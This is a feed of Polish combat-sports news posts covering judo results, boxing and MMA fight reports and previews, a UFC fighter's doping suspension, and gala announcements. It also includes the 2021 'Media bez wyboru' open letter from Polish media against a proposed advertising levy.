Już w najbliższy weekend 2️⃣2️⃣ – 2️⃣3️⃣ maja 2️⃣0️⃣2️⃣1️⃣ r. zapraszamy na transmisję telewizyjną z Akademickich Mistrzostw Polski w Judo, które odbędą się w Pile.

Transmisja z bloków finałowych:

✅22 maja (sobota) w godz. 13:00 – 15:00

✅23 maja (niedziela) w godz. 12:00 – 14:00

Brawo, pięknie, pięknie – chciałoby się krzyknąć. Są powody ku temu. Źródłem naszej sportowej radości jest bohaterka z Kazania – Agata Ozdoba-Błach (63kg), która zajęła 1. miejsce w zawodach Grand Slam w judo.

W kwietniu 33-letnia zawodniczka była o krok podium mistrzostw Europy w Lizbonie. Przegrała jednak rywalizację o brązowy medal ze Słowenką Andreją Leski. W swoim dorobku Ozdoba-Błach ma medal czempionatu Starego Kontynentu, który wywalczyła w 2014 roku w Montpellier. Polska judoczka stawała na podium zawodów rangi Grand Prix i Grand Slam, wygrała nawet Puchar Europy w Mińsku w 2017 roku. Teraz Ozdoba-Błach poprawiła swój dorobek i osiągnęła historyczny sukces. 33-latka wygrała zawody Grand Slam w Kazaniu!

Droga do złotego medalu Ozdoby-Błach wyglądała następująco. Najpierw Polka trafiła na Valentinę Kostenko, którą pokonała w dogrywce. Kolejną rywalką 33-latki była Alexia Castilhos. W ćwierćfinale Ozdoba-Błach stanęła przed trudnym wyzwaniem, bo przyszło jej rywalizować z Sanne Vermeer. Holenderka jest nr 8 na świecie. Polka nie przestraszyła się rywalki, która w kwietniu zdobyła brąz mistrzostw Europy. Ozdoba-Błach okazała się lepsza i znalazła się w półfinale. Po upływie blisko 2,5 minuty cieszyła się z awansu do finału. Wyższość Polki musiała uznać Ekaterina Valkova. Pozostało postawić kropkę nad "i" i zapisać się na kartach historii. Ozdoba-Błach stanęła "oko w oko" z Ketleyn Quadros. Rywalizacja trwała ponad sześć minut, ale zwycięsko wyszła z niej Polka.

– Jestem niesamowicie szczęśliwa, że w końcu stanęłam na podium tak prestiżowego turnieju i mogłam usłyszeć hymn Polski, wspaniałe uczucie. Można powiedzieć, że tym wynikiem zapewniłam sobie start w Igrzyskach Olimpijskich, ale nie zapeszajmy, jeszcze lista rankingowa nie została ogłoszona – skomentowała swój sukces zawodniczka.

Można powiedzieć, że Kazań ponownie okazał się szczęśliwy dla 33-letniej Agaty Ozdoby-Błach. W 2016 roku, wraz z koleżankami, wywalczyła złoto mistrzostw Europy.

W innych kategoriach wagowych wśród pań wygrywały: Funa Tonaki (48kg), Uta Abe (52kg), Helene Receveaux (57kg) i Madina Taimazova (70kg).

Jak wypadły pozostałe reprezentantki Polski? Anna Kuczera (57kg) odpadła w rywalizacji z Iveliną Ilievą, wcześniej zanotowała wygraną. Aleksandra Kaleta (52kg) poległa przed czasem w starciu z Faizą Mokdar.

Fot. Agata Ozdoba-Błach Facebook

KM

Oskar Piechota został zawieszony na 22 miesiące przez Agencję Antydopingową Stanów Zjednoczonych. W jego organizmie wykryto hormon wzrostu. 31-latek zabrał głos w sprawie.

Szedł jak burza, wygrywał kolejne walki, zdobył tytuł mistrzowski Cage Warriors w wadze średniej i dostał angaż w UFC. Dla każdego zawodnika, również Oskara Piechoty, występ w amerykańskiej organizacji to spełnienie marzeń. "Imadło" zadebiutował w UFC podczas gali w Gdańsku, gdzie pokonał Jonathana Wilsona. Potem wygrał z Timem Williamsem. Następnie zanotował trzy porażki z rzędu i jego sytuacja w UFC stała się trudna. Dostał jeszcze jedną szansą. W czerwcu 2020 w Las Vegas jego rywalem był Marc-Andre Barriault. Polak przegrał, ale i tak uznano pojedynek za nieodbyty.

W organizmie Piechoty znalazła się podwyższona wartość hormonu wzrostu. Kara – 22 miesiące zawieszenia. Piechota odniósł się do całej sytuacji. – Wolałbym napisać że „nie wiedziałem”, albo „zanieczyszczony suplement”. Niestety wziąłem go z premedytacją, żeby być najsilniejszym. Prawda jest taka, że po ostatniej walce, byłem przekonany, że nie ma mnie już w UFC, zresztą chyba wszyscy tak myśleli, nawet mój manager był o tym przekonany. Zmagałem i zmagam się do tej pory z poważną kontuzją biodra. Z medycznego punktu widzenia mogło to znacznie przyspieszyć leczenie i tylko po to zastosowałem ten peptyd. Nie chciałem w ten sposób poprawić swoich wyników sportowych i nie wziąłem tego w czasie przygotowań do walki. Nigdy wcześniej nie stosowałem żadnych substancji nie dozwolonych w sporcie, nie zostałem też złapany na tym podczas walki a od 25 września byłem przebadany przez USAD-e około 6 razy w tym raz pobierano mi krew, na żadnym z tych badań nie wykryto nic. Niestety wyszło jak wyszło i dostałem 22 miesiące zawieszenia – napisał w mediach społecznościowych Oskar Piechota.

Nie wiadomo jaka będzie przyszłość zawodnika w UFC. Wiele wskazuje na to, że ta sytuacja jest końcem jego przygody. Po zakończeniu kary Piechota liczy, że będzie ponownie rywalizować i prezentować odpowiedni poziom. – Chce dobrze wykorzystać ten czas i wrócić do startów, mam nadzieje w pełnym zdrowiu, żebym mógł znów pokazać się z jak najlepszej strony. Czasami sytuacja, w której się znajdziemy i myślimy, że jest dla nas zła, z perspektywy czasu może okazać się dobra i to właśnie dzięki niej zrobiliśmy duży krok w przód – tłumaczy zawodnik.

Fot. Oskar Piechota Facebook

KM

Trailer gali Krwawy Sport #3.

[kod]

Już 8 maja 2021r odbędzie się trzecia edycja gali Krwawy Sport – walki na gołe pięści!

Na karcie tym razem tylko kickbokserskie pojedynki na gołe pięści, a jednym z głównych wydarzeń będą półfinałowe walki wagi ciężkiej.

Chcemy już dzisiaj przedstawić wam część bohaterów widocznych na plakacie! Wśród nich mistrz kategorii do 100 kilogramów Patryk Hebel, były mistrz PLMMA Kewin Wiwatowski, Patryk Szopa, który w świetnym stylu wygrał walkę na pierwszej edycji Krwawego Sportu, czy Adam Wiśnia Wiśniewski, który na gali Krwawy Sport 2 już w pierwszej rundzie znokautował litwina Arturasa Liutikę.

Na plakacie możemy dostrzec także znanego z programów Warsaw Shore, Hels Kitchen, czy You Can Dance Mariusza " Ryjka" Adama Ryjek Ryjosław Ryjosławoski, kickboksera wagi ciężkiej Amadeusz Radomski, podopiecznego Marcina Wasilewskiego – Pawła Kopra, czy zawodników, którzy na wrześniowej gali Krwawy Sport 2 dali krwawy, trzy rundowy pojedynek- Adaś Curyło i Łukasz Szecówka

Na gali przewidzianych jest, aż 10 pojedynków bez rękawic zatem niebawem zaczniemy ogłaszać nazwiska kolejnych bohaterów gali Krwawy Sport 3 – walki na gołe pięści.

W składzie sędziowskim bez zmiennie zobaczymy duet Michał Wlazło i Piotr Michalak – MMA Referee. Etatowym już komentatorem Krwawego Sportu jest mistrz KSW Sebastian Przybysz – na pierwszej gali w asyście Łukasz "Juras" Jurkowski, a na gali numer 2 z Krzysztofem Kułakiem.

Beata Pacut zdobywa złoty medal Mistrzostw Europy JUDO Seniorów w Lizbonie!
W pięknym stylu pokonała Guusje Steenhuis w finałowej walce!
Gratulujemy!!!

8 maja w Rzeszowie dojdzie do starcia Artura Szpilki z Łukaszem Różańskim (na zdjęciu). W karcie walka znaleźli się także Mateusz Masternak, Adam Balski i Damian Kiwior.

Temat starcia Szpilki z Różańskim dyskutowany był od pewnego czasu. W marcu "Szpila" domagał się kontroli antydopingowej u potencjalnego rywala. Różański poddał się badaniom. – Za mną poranna kontrola antydopingowa WBC. O wynik się nie martwię – napisał 24 marca pięściarz z Rzeszowa. Szpilka apelował o kontrolę przed i po pojedynku. Sam też się jej poddał. – Kontrola dopingowa zrobiona. Będę prekursorem w polskim zawodowym boksie. I myślę, że będzie to na stałe w walkach z moim udziałem dla mnie i przeciwnika. Za testy płace sam. Zawsze ten sam – informował kilka dni temu Szpilka.

Podczas gali Konckout Boxing Night 14 "Szpila stanął "oko w oko" z Różańskim. Głębokie spojrzenia, twarze bez emocji. Szpilka podjął próbę wystaraszenia rywala, jednak ten zapewne przyjął to spokojnie i czeka na zaplanowane na 8 maja starcie. 35-latek będzie celował w 14 wygraną w karierze, jeszcze nigdy nie przegrał. Różański ma na swoim koncie 12 zwycięstw przed czasem. Szpilka stoczył więcej zawodowych walk, ostatnie dwie zakończyły się jego sukcesem. W lipcu 2019 roku przegrał z Dereckiem Chisorą.

„Master” w ringu

W Rzeszowie zaprezentuje się Mateusz Masternak. Popularny "Master" w ubiegłym roku zaprezentował się w ringu dwukrotnie. Przed czasem odprawił Taylora Mabikę i Jose Gregorio Ulricha. Do niedawna priorytetem dla boksera były igrzyska olimpijskie, ale pandemia koronawirusa pokrzyżowała mu plany. W sierpniu 2020 roku "Master" podpisał kontrakt z Knockout Promotions.

Kolejną walkę w karierze stoczy Adam Balski. 30-letni pięściarz nadal jest niepokonany na zawodowym ringu, a ubiegłym roku dopisał do swojego konta dwa zwyciętwa. Obecnie ma ich 15. W Rzeszowie zaprezentuje się również Damian Kiwior, który od 2019 roku jest niepokonany. Pięściarz zanotował cztery zwycięstwa z rzędu.

Fot. Łukasz Różański Facebook

KM

27 marca 2021 roku na długo zapadnie w pamięci Francisa Ngannou. 34-letni zawodnik cieszy się ze zdobycia pasa mistrzowskiego w wadze ciężkiej. – W końcu zdobyłem pas i pobędzie on ze mną trochę – zapewnia Ngannou.

„Marzenia się spełniają. Tylko mocno, mocno, mocno w nie wierz. Ściskaj kciuki co sił, oczy zamknij też. To nie ważne ile liczysz lat” – śpiewa Majka Jeżowska. Piosenka wpada w ucho i jest radosna, dodaje energii. Wiadomo, że po drodze do sukcesu pojawiają się porażki, chwile zwątpienia, kontuzje czy inne trudne sytuacje. Kluczowe jest to, aby nie poddawać się. Droga do sukcesu nie zawsze jest łatwa.

Podczas UFC 260 marzenia spełnił Francis Ngannou. 34-latek urodzony w Kamerunie miał okazję zrewanżować się Stipe Miocicowi za porażkę ze stycznia 2018 roku. Po tej walce Ngannou wygrał cztery pojedynki. Efektownie pokonał Curtisa Blaydesa, Caina Velasqueza, Juniora dos Santosa oraz Jairzinho Rozenstruika. Wszyskie starcia zawodnik posiadający francuskie obywatelstwo wygrywał w pierwszych rundach.

Przyszedł ten dzień. Ngannou w drugiej rundzie znokautował Miocica i sięgnął po tytuł mistrzowski UFC. – W końcu zdobyłem pas i pobędzie on ze mną trochę. To coś więcej niż pas, ale symbol nadziei i poświęcenia. Pokazuje jak daleko możesz zajść, jeśli wierzysz w siebie. Nie ma znaczenia, kiedy napotykasz przeszkody, a jest ich sporo po drodze. Możesz je pokonać i osiągnąć swój cel. Jedynym ograniczeniem jesteś Ty i nic więcej – tłumaczy w mediach społecznościowych mistrz wagi ciężkiej.

Ngannou podziękował za otrzymane wsparcie. – Z całego serca za pomoc w realizacji mojego marzenia, nawet w chwilach wyczerpania, za motywację w sytuacjach zmęczenia i za mobilizowanie, popychanie do przodu. Jesteśmy w tym razem i nie możecie od tego uciec. Dziękuję mojemu przeciwnikowi Stipe Miocicowi za bycie wielkim mistrzem, to był zaszczyt dzielić z tobą oktagon – napisał zawodnik, który podziękował także swojej ekipie i bliskim.

Fot. Francis N'Gannou Facebook

KM

Gibraltar szczęśliwy dla Dilliana Whyte. 32-letni pięściarz urodzony na Jamajce zrewanżował się Aleksandrowi Powietkinowi za porażkę sprzed ponad pół roku i sięgnął po pas tymczasowego mistrza świata WBC w wadze ciężkiej. Czy to koniec tej rywalizacji? A może dojdzie do trzeciej walki?

22 sierpnia 2020 roku doświadczony Powietkin pokazał, że nadal może boksować na najwyższym poziomie. Co prawda w czwartej rundzie Rosjanin dwukrotnie leżał na deskach, ale nie raz pokazał swoją siłę. Tak było i tym razem. Wstał i boksował dalej. W piątej rundzie wyprowadził potężny cios i Whyte nie był w stanie kontynuować walki. Starcie dwóch mocnych pięściarzy, które miało być trampoliną i umocnić pozycję tego młodszego. Wiadomo, że Powietkin to pięściarz z ogromnym bagażem doświadczenia, ale też ciągną się za nim dopingowe wpadki. Pewne jest, że przyłożyć potrafi. Whyte chciał rewanżu, bo jeszcze kilka lat zamierza rywalizować na zawodowym ringu. Sytuacja w wadze ciężkiej jest ciekawa, a pokonanie Powietkina dałoby Brytyjczykowi spore możliwości.

27 marca br. Whyte był zdeterminowany i nie dał się zaskoczyć rywalowi. W zasadzie Powietkin stanowił tło dla swojego przeciwnika i w niczym nie przypominał siebie z pierwszego starcia. Widać było, że Whyte jest szybszy. W czwartej rundzie 32-latek słał w stronę Rosjanina kolejna ciosy aż ten w końcu padł na deski. Powietkin wstał, ale o kontynuowaniu walki nie było mowy.

Co dalej?

Były dwa starcia, więc mamy remis. Czy będzie trzecie? Whyte zdobył pas tymczasowego mistrza WBC i zapewne mierzy w wyższe cele. Promotor Andriej Riabiński zapowiada, że będzie starał się namówić Powietkina do zakończenia kariery. "Sasza" stoczył 40 zawodowych walk, z których 36 zakończyło się jego wiktorią.

Eddie Hearn już zaciera ręce i szykuje kolejne wyzwania dla Whyte'a. Promotor chciałby zestawić 32-letniego pięściarza z Deontayem Wilderem. Z kolei Whyte myśli o rywalizacji z czempionem WBA Trevorem Bryanem. Możliwości Whyte ma wiele, teraz karty są w jego ręku. Wrócił z dalekiej podróży i jest w grze w wadze ciężkiej, nikt nie może przejść obok niego obojętnie.

Ta trzecia walka Whyte – Powietkin gdzieś pobrzmiewa. Prezydent WBC Maurucio Sulaiman chciałby, żeby doszło do trylogii, ale jasno podkreśla, że jest to mało prawdopodobne. Pomarzyć zawsze można.

Fot. Materiały promocyjne

KM

Mike Tyson szykuje się do kolejnej walki. Legenda boksu nie zmierzy się z Evanderem Holyfieldem mimo oferty opiewającej na 25 milionów dolarów.

W sporcie na najwyższym poziomie gaże bywają niewyobrażalne. Wielu miłośników polskiego kina pamięta pewien cytat dotyczący znaczenia pieniędzy. Mówiąc krótko – nie są wszystkim, nie stanowią najważniejszej wartości. W takiej sytuacji można zrozumieć decyzję Mike'a Tysona, o której tu mówimy. Warto wspomnieć, że po piętnastu latach Amerykanin wrócił na ring. 28 listopada 2020 roku w Staples Center w Los Angeles "Żelazny Mike" zmierzył się z Royem Jonesem Juniorem w pokazowym starciu. Pojedynek zakończył się remisem.

Kilka dni temu były niekwestionowany mistrz świata w wadze ciężkiej ogłosił, że stoczy kolejną walkę. Tyson zaprezentuje się 29 maja w Hard Rock Stadium w Miami. Po tej informacji spekulowano, że dojdzie do walki dwóch legend. Tyson miałby zmierzyć się z Evanderem Holyfieldem. Tym samym doszłoby do trzeciego spotkania pięściarzy. A teraz cofamy się o… blisko 25 lata. 9 listopada 1996 roku Holyfield pokonał przed czasem Tysona, zaś w rewanżu trzy miesiące później "Bestia" odgryzł rywalowi kawałek ucha. 

Miłośnicy boksu zacierali ręce na myśli o trzeciej walce wielkich, choć wiekowych mistrzów. Wszystko wskazuje na to, że do starcia nie dojdzie. Ekipa Holyfielda przekazała o odrzuceniu przez Tysona oferty pojedynku, choć miałby zarobić gwarantowane 25 milionów dolarów.

Kto zatem będzie rywalem "Bestii? Tyson zmierzy się zapewne z Jamesem Toneyem, ale na oficjalne informacje należy poczekać. Czeka nas zatem pojedynek dwóch aktywnych 50-latków. Dla wielu kibiców będzie to kolejne piękne wspomnienie i możliwość zobaczenia w akcji tych, których podziwiali w młodości.

Fot. Mike Tyson Facebook

KM

W Londynie lepszy okazał się Lawrence Okolie i to on został mistrzem świata WBO w wadze junior ciężkiej. Pas nie dla Krzysztofa Głowackiego, który w szóstej rundzie padł na deski.

Pięściarz z Wałcza stanął przed kolejną szansą na zdobycie tytułu mistrzowskiego. W sierpniu 2015 roku Głowacki pokonał Marco Hucka i zasiadł na szczycie wagi junior ciężkiej. Pas WBO stracił we wrześniu 2016 roku na rzecz Oleksandra Usyka. Potem Polak konsekwentnie pracował, aby wrócić na najwyższy poziom. Cztery zwycięstwa stały się przepustką do turnieju World Boxing Super Series. Tam pokonał Maksyma Własowa i sięgnął po tymczasowy pas mistrza WBO, jednak potem w kontrowersyjnych okolicznościach przegrał z Mairisem Briedisem. Sytuacja potoczyła się tak, że Łotysz porzucił pas, więc pozostał on do wzięcia. O tytuł mieli rywalizować Głowacki i Okolie. Do pojedynku doszłoby wcześniej, ale wiadomo, że w czasach pandemii koronawirusa wszystko w jednej chwili może się zmienić.

W końcu 20 marca o O2 Arenie w Londynie odbył się pojedynek o tytuł WBO. Okolie zaczął dyktować warunki w drugiej rundzie i budował swoją przewagę. Głowacki nie potrafił znaleźć sposobu, aby trafić Brytyjczyka. Polak nieco przyspieszył w trzeciej rundzie, ale bez wymiernego efektu. Okolie wykorzystał sytuację i dalej punktował rywala. Był przy tym precyzyjny, a w czwartej rundzie polski pięściarz zachwiał się na nogach. W szóstej odsłonie Okolie obijał Głowackiego i w końcu wyprowadził potężny prawy. Pięściarz z Wałcza padł na deski, wstał, ale sędzia przerwał pojedynek. Pas mistrza świata w rękach 28 Brytyjczyka, dla którego była to szesnasta wygrana w karierze. Głowacki przegrał po raz trzeci.

Szkoda zmarnowanej szansy, ale w duchu sportu – Okolie był po prostu lepszy. Aktywniejszy, skuteczniejszy, pewniejszy. Głowacki podjął wyzwanie, ale tym razem musiał uznać wyższość rywala. Bez żadnych wątpliwości. Bez porównania do pamiętnej rywalizacji z Briedisem.

Plany mistrza

Okolie znalazł się na szczycie i zdobył tytuł w efektowny sposób, dlatego też chce iść za ciosem. Bokser ma ambitne plany. Chciałby zmierzyć się z czempionem IBF Mairisem Briedisem. Mistrz WBO myśli również o rywalizacji z Ilungą Makabu, który na swoim koncie ma pas WBC.

Fot. Krzysztof Głowacki Facebook

KM

Sharks Attack – gala sportów walki wraca na scenę sportów walki!!! Już niebawem na antenie FighTime.pl – Telewizja sportów walki zobaczycie czwartą odsłonę. Na arenie walki w #Grudziądz zobaczymy wielu znanych i niezwykle zdolnych zawodników. Tomasz Sobczyński przygotowuje dla kibiców kolejną mocną kartę walk. Oj będzie się działo 🙂

Niespodzianką zakończyła się rywalizacja pierwszego dnia Judo Grand Slam Tel Aviv . W finale kategorii do 48 kg porażkę poniosła faworytka Daria Bilodid. W dodatkowym czasie uległa Francuzce #ShirinBoukli. Z Polaków najlepiej spisała się Julia Kowalczyk z Polonii Rybnik. Zawodniczka tego klubu najpierw miała wolny los. W drugiej rundzie pokonała Czeszkę Verę Zemanov, by za chwilę ulec Niemce Stoll. W repasażu Julia była lepsza od Wilsy Gomes (POR). W walce o brąz spotkała się z Gruzinką Eteri Liparteliani. Niestety tego dnia medal nie był pisany Julii i zakończyła rywalizację na Vm.

Wyniki pozostałych reprezentantów Polski:

Agata Perenc  – 0:1

Karolina Pieńkowska – 1:1

Anna Kuczera  – 1:1

Tomer Golomb – 0:1 

Kuba Wojewódzki to jeden z najbardziej znanych dziennikarzy w Polsce. Przede wszystkim jednak to showman z wyszukanym poczuciem humoru, który często zadaje swoim gościom niewygodne pytania. W jego programie brali już udział m.in Mistrz Świata UFC Jan Błachowicz, Joanna Jędrzejczyk, Marcin ,,Różal" Różański i wielu wielu innych znanych i bardziej lub mniej lubianych. 
Program ,,Kuba Wojewódzki" jest niezwykle kontrowersyjny stąd pewnie udział Marcina Najmana sportowca którego również śmiało możemy zaliczyć do osobowości medialnych. 
Jak będzie wyglądać ich pierwsze face to face przed tym starciem? Sama jestem ciekawa, wszystkich którzy dzielą ze mną tę ciekawość zapraszam już w najbliższy wtorek na antenę TVN o godzinie 22:30. 
Nie mogło zabraknąć również trash talk, ale mamy go już dawno za sobą. Kuba często porównywał pewne zachowania swoich gości do Najmana, robił to ze swoim  oryginalnie ironicznym uśmiechem na ustach.
Jak będzie wyglądać ich walka na słowa? Zobaczymy już niebawem, póki co atmosferę podkręca autor programu na swoich mediach społecznościowych robiąc sobie zdjęcie z programową Wodziankom, która jest ubrana w popularną niebieską kurtkę ,,Najmanówkę", a pod fotografią widnieje takie zaproszenie na program: ,,Jest monodram Krystyny Jandy #białabluzka, jest koncert aktorski Janusza Gajosa w filmie #żółtyszalik. A ja zapraszam Was na spektakl."

Autor: Anna Kalinowicz

Foto: FanPage Marcin Najman 

Już w sylwestra poznaliśmy jednego z najważniejszych zawodników gali Fight Empire MMA . Dziś federacja potwierdziła udział Michał Andryszak w walce wieczoru. 

Jak podkreśla Lukasz Kieiwan  – współwłaściciel Federacji:

– Cały czas toczyły się rozmowy, ale już na spokojnie mamy to klepnięte. Michała zobaczymy w naszym oktagonie. Pierwsza gala już 8 maja 2021 r..

Weekend pod znakiem gal sportów walki. W piątek Babilon MMA 19 na wybitnym poziomie sportowym, a wyniki poniżej:

Kevin Szaflarski pokonał Filipa Stawowego decyzją sędziów (29-28, 29-28, 29-29)

Ekaterina Shakalova pokonała Różę Gumienną jednogłośną decyzją sędziów (30-25, 30-25, 30-26).

Kamil Kraska pokonał Mateusza Głucha przez TKO w pierwszej rundzie.

Marcin Kalata poddał Damiana Olszewskiego przez TKO w drugiej rundzie.

Piotr Kacprzak pokonał Huberta Lottę jednogłośną decyzją sędziów (29-27, 30-25, 30-25).

Karol Kutyła wygrał z Arturem Drążkiem jednogłośną decyzją sędziów (29-27, 30-27, 30-26).

Konrad Rusiński poddał ciosami w parterze Mateusza Sosnowskiego w pierwszej rundzie.

Walka semi-pro:

Grzegorz Rutkowski poddał Kacpra Tomaszewskiego przez poddanie (duszenie zza pleców) w trzeciej rundzie.

Tu powinien być Twój ulubiony serwis internetowy

Dzisiaj wydajemy specjalną wersję serwisu w związku z akcją

„Media bez wyboru”.

Przepraszamy naszych użytkowników oraz partnerów handlowych.

Dziękujemy za zrozumienie i wsparcie.Przeczytaj nasz list otwarty:

List otwarty do władz Rzeczypospolitej Polskiej i liderów ugrupowań politycznych

Zwracamy się w sprawie zapowiadanego nowego, dodatkowego obciążenia mediów działających na polskim rynku, myląco nazywanego „składką”, wprowadzaną pod pretekstem Covid-19.

Jest to po prostu haracz, uderzający w polskiego widza, słuchacza, czytelnika i internautę, a także polskie produkcje, kulturę, sport oraz media.

Wprowadzenie go będzie oznaczać:

– osłabienie a nawet likwidację części mediów działających w Polsce, co znacznie ograniczy społeczeństwu możliwość wyboru interesujących go treści,

– ograniczenie możliwości finansowania jakościowych i lokalnych treści. Ich produkcja daje obecnie utrzymanie setkom tysięcy pracowników i ich rodzinom oraz zapewnia większości Polaków dostęp do informacji, rozrywki oraz wydarzeń sportowych w znaczącej mierze bezpłatnie,

– pogłębienie nierównego traktowania podmiotów działających na polskim rynku medialnym, w sytuacji, gdy media państwowe otrzymują co roku z kieszeni każdego Polaka 2 mld złotych, media prywatne obciąża się dodatkowym haraczem w wysokości 1 mld zł,

– faktyczne faworyzowanie firm, które nie inwestują w tworzenie polskich, lokalnych treści kosztem podmiotów, które w Polsce inwestują najwięcej. Według szacunków, firmy określane przez rząd jako „globalni cyfrowi giganci” zapłacą z tytułu wspomnianego haraczu zaledwie ok. 50 – 100 mln zł w porównaniu do 800 mln zł, jakie zapłacą pozostałe aktywne lokalne media.

Skandaliczne jest również niesymetryczne i selektywne obciążanie poszczególnych firm. Dodatkowo niedopuszczalna w państwie prawa jest próba zmiany warunków koncesyjnych w okresie ich obowiązywania.

Jako media działające od wielu lat w Polsce nie uchylamy się od ciążących na nas obowiązków i społecznej odpowiedzialności. Co roku płacimy do budżetu Państwa rosnącą liczbę podatków, danin i opłat (CIT, VAT, opłaty emisyjne, organizacje zarządzające prawami autorskimi, koncesje, częstotliwości, decyzje rezerwacyjne, opłata VOD itd.). Własną działalnością charytatywną wspieramy też najsłabsze grupy naszego społeczeństwa. Wspieramy Polaków, jak i rząd w walce z epidemią, zarówno informacyjnie, jak i przeznaczając na ten cel zasoby warte setki milionów złotych.

Zdecydowanie sprzeciwiamy się więc używaniu epidemii, jako pretekstu do wprowadzenia kolejnego, nowego, wyjątkowo dotkliwego obciążenia mediów. Obciążenia trwałego, które przetrwa epidemię Covid-19.

Sygnatariusze listu:

Agencja Wydawnicza AGARD Ryszard Pajura

Agora S.A.

AMS S.A.

Bonnier Business

Burda Media Polska

CANAL+

Dziennik Trybuna

Dziennik Wschodni

Edipresse Polska

Eleven Sports Network sp. z o.o.

Gazeta Radomszczańska

Green Content sp. z o.o.

Gremi Media S.A.

Grupa Eurozet

Grupa Interia.pl sp. z o.o.

Grupa Radiowa Agory sp. z o.o.

Grupa RMF

Grupa Wirtualna Polska

Grupa ZPR

Helios S.A.

Infor Biznes

Kino Polska TV S.A.

Lemon Records sp. z o.o.

Marshal Academy

Music TV sp. z o.o.

Muzo.fm sp. z o.o.

naTemat.pl

Polityka

Polska Press Grupa

Ringer Axel Springer Polska

STAVKA sp. z o.o.

Superstacja sp. z o.o.

Telewizja Polsat sp. z o.o.

Telewizja Puls sp. z o.o.

TIME S.A.

TV Spektrum sp. z o.o.

TVN S.A.

Tygodnik Powiatu Wołowskiego Kurier Gmin

Tygodnik Powszechny

Wydawnictwo Bauer

Wydawnictwo Dominika Księskiego Wulkan

Wydawnictwo Magraf

Wydawnictwo Nowiny

Zakopiańskie Towarzystwo Gospodarcze – Tygodnik Podhalański

Telewizja FighTime

KSW 58 przeszło do historii, ale echem odbija się incydent po walce Shamila Musaeva z Urosem Jurisiciem. Takie sytuacje są niedopuszczalne.

Sportowa rywalizacja rodzi ogromne emocje. Jedni wygrywają, inni przegrywają, ale każdy zawodnik dąży do doskonałości, triumfu i stawania w blasku chwały. Trzeba jednak pamiętać, że podstawą sportowej rywalizacji jest wzajemny szacunek. Rzecz jasna, że tematem ostatnich godzin, a także i nadchodzących dni będzie pojedynek, do którego doszło podczas gali KSW 58 – Shamil Musaev vs Uros Jurisić.

Walka trwała trzy rundy. Sędziowie ocenili, że zwycięstwo należy się 27-letniemu Rosjaninowi. Werdykt, triumfator wznosi w górę ręce i rodzi się zamieszanie. Pewnie padły mocne słowa, strony zaczęły się przepychać, dyskutować, próbowali interweniować włodarze KSW, obecna była ochrona. Dynamiczna sytuacja i nagle… Jurisić ląduje na ziemi. Obalił go Musaev, a po chwili przy siatkce utworzyła się swego rodzaju kanapka. Każdy chciał bronić swego i doszło do ogromnej awantury.

Włodarze KSW zapowiadają, że zostaną wyciągnięte konsekwencje, jednak najpierw sprawa zostanie przeanalizowana. Jedno jest pewne – takie wydarzenie nie powinno mieć miejsca. Przede wszystkim mówimy o profesjonalnym sporcie, poważnej organizacji i zawodnikach, którzy mają doświadczenie w sportach walki. Krótko i zdecydowanie – to nie było podwórko. To nie było miejsce, gdzie dwaj poważni zawodnicy i ich ekipy mogą urządzać sobie bójkę. Takie sytuacje wymagają napiętnowania.

Szanowni Państwo, drodzy fani sportów walki – pragniemy emocji, wspaniałych walk, ale w tym wszystkim ważny jest duch sportu. Wiadomo, że obecnie możemy oglądać wydarzenia sportowe za pośrednictwem telewizji. Nie jest nam dane być w hali ze względu na obostrzenia. To jednak ma drugorzędne znaczenie. Chodzi o zwrócenie uwagi na pewną subtelność. Zapewne galę oglądali młodzi ludzie, ba w części byli to adepci sztuk walki. Patrzyli na zawodników, których podziwiają, a dostali pokaz zachowania poniżej krytyki.

Ważnym aspektem jest również kwestia bezpieczeństwa. Musaev obalił Jurisicia, a potem utworzyła się kula ludzi. W takiej sytuacji można komuś wyrządzić krzywdę. Wyraźnie widać, że wtedy rozum nie był na pierwszym miejscu.

Można wszystko tłumaczyć charakter zawodnika, osób wchodzących w jego team, ale jest to banalne. W profesjonalnym sporcie ważny jest szacunek. Można mieć wątpliwości, nie zgadzać się z werdyktem albo mieć uwagi do sędziego, ale należy podać sobie rękę. Sprawę można wyjaśnić w kulturalny sposób. 

Zobaczymy jakie konsekwencje wyciągną włodarze KSW po zaistniałej sytuacji. Dla takich zachowań powinno jasno wybrzemieć stanowcze: NIE.

Fot. zdjęcie poglądowe

KM

Oleksandr Usyk zdominował wagę junior ciężką, a teraz chce podbić królewską. Powinien walczyć z Anthonym Joshuą, jednak ten negocjuje z Tysonem Fury'm. Pięściarz z Ukrainy musi trochę poczekać na swoją szansę.

Ponad cztery lata temu mieliśmy okazję poznać Usyka nieco bliżej. Przyjechał do gdańskiej Ergo Areny, aby zmierzyć się z Krzysztofem Głowackim o pas mistrza świata federacji WBO. Ukraiński pięściarz okazał się lepszy i wygrał jednogłośnie na punkty. Była to dopiero dziesiąta zawodowa walka Usyka. Potem pokonał jeszcze Thabiso Mchunu i Michaela Huntera. Wiadomo było, że Usyk to silny pięściarz, który ma ogromne możliwości. Bokserski świat podbił wygrywając turniej World Boxing Super Series. Rozbił w pył czołowych pięściarzy swojej kategorii – Marco Hucka, Mairisa Briedisa i Murata Gassijewa. Tak się stało, że rywalizację kończył z pasami WBO, WBC, WBA i IBF na koncie. Zdobył wszystko, co mógł. Potem obronił tytuły w pojedynku w Tony'm Bellewem i przeniósł się do wagi ciężkiej.

Debiut Usyka w kategorii królewskiej nieco się przeciągnął z powodu urazu bicepsa. Kolejną walkę ukraiński bokser stoczył blisko 11 miesięcy od starcia z Bellewem. W siódmej rundzie odprawił Chazza Witherspoona. Następnie spotkał się z doświadczonym Dereckiem Chisorą i wygrał jednogłośnie na punkty, co dało mu tytuł WBO Inter-Continental. 34-letni pięściarz wychodzi na pierwszy plan wagi ciężkiej. Nie jest jeszcze gwiazdą, ale robi wszystko, aby posiadać ten status. W wadze ciężkiej pojawił się gracz, z którym trzeba się liczyć, bo de facto może namieszać w stawce.

Usyk ma status obowiązkowego pretendenta do pasa WBO i to on powinien walczyć z Joshuą. Jednak sprawa wygląda tak, że "AJ" spotka się z Tysonem Fury, a Usyk cierpliwie poczeka. W międzyczasie zmierzy się z Joe Joyce'm, który jest drugi w rankingu WBO. Prawdopodobnie do pojedynku dojdzie w połowie maja, a triumfatorem będzie obowiązkowym rywalem

dla zwycięzcy starcia Joshua vs Fury.
Usyk za walkę z Joyce'm ma zarobić pięć milionów dolarów. Co ciekawe, pięściarze mieli okazję rywalizować ze sobą w czasach boksu amatorskiego. W pięciorundowym pojedynku lepszy okazał się Usyk.

Fot. Александр Усик / Usyk

KM

